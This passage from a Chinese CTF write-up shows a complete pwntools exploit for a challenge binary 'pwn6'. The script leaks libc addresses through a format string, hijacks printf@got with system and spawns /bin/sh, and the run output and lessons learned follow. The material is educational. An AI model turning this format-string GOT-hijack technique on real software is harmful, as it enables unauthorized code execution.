0x00007ffdf9089390+0x0160: 0x000055f31cf6a580  →  0x00007feb09f73a50  →  <__strcpy_sse2_unaligned+0> mov rcx, rsi     ← $rbp
0x00007ffdf9089398+0x0168: 0x000055f31cd69e5b  →  <main+115> jmp 0x55f31cd69e67 <main+127>
0x00007ffdf90893a0+0x0170: 0x00007ffdf9089490  →  0x0000000000000001
0x00007ffdf90893a8+0x0178: 0x0000000300000000
0x00007ffdf90893b0+0x0180: 0x000055f31cd69ea0  →  <__libc_csu_init+0> mov QWORD PTR [rsp-0x28], rbp
0x00007ffdf90893b8+0x0188: 0x00007feb09eee840  →  <__libc_start_main+240> mov edi, eax

此处笔者选择将栈顶和保存rbp的地址填充为printf@got+2和printf@got。

pwned

全部脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
 
#context.log_level = "DEBUG"
io = process('./pwn6')
io.sendafter('your choice:\n','1\n')
io.sendafter('keys?\n','\x00')
io.sendafter('your message to encode:\n','A'*0x140+p64(0x10))
io.sendafter('your choice:\n','2\n')
io.recv()
 
def decode_str(string):
    new_str = ""
    for ch in string:
        tmp = ord(ch)
        tmp = (tmp >> 2) | ((tmp << 6) % 0x100)
        new_str += chr(tmp)
    return new_str
 
#io.send(decode_str('aaaa'))
io.send(decode_str('%51$p\n%45$p\n'))
io.recvuntil('after encoding...\n')
main_addr = int(io.recvline(),16) - 115
puts_addr = int(io.recvline(),16) - 362
 
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
low_system = system_addr % 0x10000
high_system = (system_addr>>16) % 0x100
printf_got = main_addr + 0x200760
part2_printf_got = (printf_got + 2)
call_printf_offset = main_addr - 0xAD
 
log.info("main_addr: 0x%x"%main_addr)
log.info("system_addr: 0x%x"%system_addr)
log.info("low_system: 0x%x"%low_system)
log.info("high_system: 0x%x"%high_system)
log.info("printf_got: 0x%x"%printf_got)
log.info("part2_printf_got: 0x%x"%part2_printf_got)
 
#gdb.attach(io,"break strcpy\nbreak *0x%x\nc"%call_printf_offset)
#pause()
 
#set rbp
io.sendafter('your choice:\n','1\n')
io.sendafter('keys?\n','\x00')
io.sendafter('your message to encode:\n','A'*0x110+p64(printf_got))
io.sendafter('your choice:\n','3\n')
io.sendafter('your message to encode:\n','123')
 
#clear stack
io.sendafter('your choice:\n','1\n')
io.sendafter('keys?\n','\x00')
io.sendafter('your message to encode:\n','A'*7+'\x00')
io.sendafter('your choice:\n','3\n')
io.sendafter('your message to encode:\n','123')
 
#set second chain in stack
io.sendafter('your choice:\n','1\n')
io.sendafter('keys?\n','\x00')
io.sendafter('your message to encode:\n',p64(part2_printf_got))
io.sendafter('your choice:\n','3\n')
io.sendafter('your message to encode:\n','123')
 
io.sendafter('your choice:\n','2\n')
io.recv()
 
#hijack got: printf_got = system_addr
payload = '%'+str(high_system)+'c%16$hhn' + '%'+str(low_system-high_system)+'c%50$hn'
if len(payload) > 24:
    log.info('the length of payload is: %d' % len(payload))
    log.info('this payload is too long,try again!')
    exit()
log.info(payload)
io.send(decode_str(payload))
io.sendafter('your choice:\n','2\n')
io.recv()
payload = '/bin/sh\x00'
log.info(payload)
io.send(decode_str(payload))
io.recv()
io.interactive()

运行效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dc@ubuntu:~/playground$ python payload_pwn6.py
[+] Starting local process './pwn6': pid 88821
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] main_addr: 0x55b869787de8
[*] system_addr: 0x7f4e8caf13a0
[*] low_system: 0x13a0
[*] high_system: 0xaf
[*] printf_got: 0x55b869988548
[*] part2_printf_got: 0x55b86998854a
[*] %175c%16$hhn%4849c%50$hn
[*] /bin/sh\x00[*] Switching to interactive mode
$ whoami
dc
$

总结

通过本文中的练习,可以总结以下三点:

  1. 题目中给出的漏洞,基本上都会有用处;先分析题目中所有的缺陷,然后再思考如何利用。
  2. 变量未初始化这个漏洞平时容易被忽略,但很可能是漏洞利用的一环,所以多要注意栈中数据。
  3. 针对格式化字符串不在栈中的题目,可以尝试构造两个分别指向printf@got表高低位的链条来完成got劫持。

参考文章

  1. 格式化字符串在bss段处理 http://www.starssgo.top/2019/12/06/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%9C%A8bss%E6%AE%B5%E7%9A%84%E5%A4%84%E7%90%86/

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-5-28 13:53 被顾言庭编辑 ,原因:
收藏
点赞6
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回